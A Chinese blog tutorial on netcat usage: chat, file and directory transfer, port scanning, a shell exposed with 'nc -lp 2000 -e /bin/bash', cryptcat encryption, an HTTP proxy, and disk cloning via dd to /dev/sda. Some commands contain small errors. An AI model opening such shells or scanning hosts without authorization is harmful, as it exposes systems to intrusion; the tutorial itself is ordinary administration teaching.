瑞士军刀——nc命令

软件安装方式

# rhel系列
    yum -y install nc
    dnf -y install nc

# debian系列
    apt -y install ncat

准备环境

pc1:192.168.1.1
pc2:192.168.1.2

参数解析
    -l:监听模式
    -p:本地端口
    -u:使用udp协议
    -v:显示连接过程

功能一、实时聊天

pc1:nc -lp 2000
pc2:nc 192.168.1.1 2000

功能二、传输文件

发端pc1:nc -lp 2000 < wenjian.html
收端pc2:nc 192.168.1.1 2000 > wenjian.html

功能三、nc 传输目录

发送端:tar -cf /etc |nc -lp 2000
接收端:nc 192.168.1.2 2000 |tar -xf

功能四、nc 进行端口扫描

nc -v -w 2 117.169.20.204 -z 20-1000    #-z:后面是端口范围,很快哟,-w:对于同一台机器,设置的等待时间不同,扫出来的端口信息也不太一样

nc如何扫描udp端口
nc -vuz 192.168.1.25 123

功能五、nc 创建反弹shell外壳

(可以是cmd,也可以是shell)(注意:这种用法必须nc支持-e参数,若是nc -h不显示-e参数,则需要重新安装netcat了)

被shell端:nc -lp 2000 -e /bin/bash
连接控制端:nc 192.168.1.2 2000

功能六、nc 发送加密聊天数据(nc默认是未加密的,)

    安装加密软件:apt install cryptcat
    用法:
        cryptcat -k mima 192.168.1.2 2000   #-k:后面接设定的密码
        cryptcat -lp 2000 -k mima

功能七、创建 HTTP 代理服务器

# 在
    nc -l --proxy-type http localhost 4080

# 客户端设置:参考该文章
    https://boke.wsfnk.com/archives/996.html

功能八、克隆硬盘或分区

将主机A上的硬盘数据克隆到主机B上的硬盘上,主机B的硬盘上原本没有系统
(注意:克隆硬盘或分区,不应在已经mount的的系统上进行。所以,主机B需要使用安装光盘引导后,进入拯救模式或使用Knoppix工具光盘启动系统后,配置临时ip为192.168.56.33)

主机B上:nc -lp 2000 | dd of=/dev/sda
主机A上:dd if=/dev/sda | nc 192.168.56.33 2000
声明:本文为原创,作者为 辣条①号,转载时请保留本声明及附带文章链接:https://boke.wsfnk.com/archives/416.html
谢谢你请我吃辣条谢谢你请我吃辣条

如果文章对你有帮助,欢迎点击上方按钮打赏作者

最后编辑于:2024/9/7作者: 辣条①号

目标:网络规划设计师、系统工程师、ceph存储工程师、云计算工程师。 不负遇见,不谈亏欠!

1 条评论

回复 di he 取消回复

您的电子邮箱地址不会被公开。 必填项已用*标注

arrow grin ! ? cool roll eek evil razz mrgreen smile oops lol mad twisted wink idea cry shock neutral sad ???

  1. di he di he说道:
    1#

    学习了

文章目录